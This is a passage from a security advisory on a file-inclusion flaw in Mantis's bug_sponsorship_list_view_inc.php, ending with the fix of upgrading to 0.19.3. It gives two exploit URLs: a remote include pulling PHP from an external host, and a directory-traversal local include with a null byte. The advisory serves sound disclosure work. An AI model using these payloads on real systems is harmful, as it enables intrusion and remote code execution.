4) Description of Vulnerability  
  
Secunia Research has discovered a vulnerability in Mantis, which can   
be exploited by malicious people to compromise a vulnerable system.  
  
Input passed to the "t_core_path" parameter in   
"bug_sponsorship_list_view_inc.php" isn't properly verified, before   
it used to include files. This can be exploited to include arbitrary   
files from external and local resources.  
  
Examples:  
http://[host]/bug_sponsorship_list_view_inc.php?  
t_core_path=http://[host]/[file].php?  
http://[host]/bug_sponsorship_list_view_inc.php?  
t_core_path=../../../../../../../[file]%00  
  
Successful exploitation requires that "register_globals" is enabled   
(not recommended setting).  
  
The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2.   
Other versions may also be affected.  
  
======================================================================  
5) Solution  
  
Update to version 0.19.3.
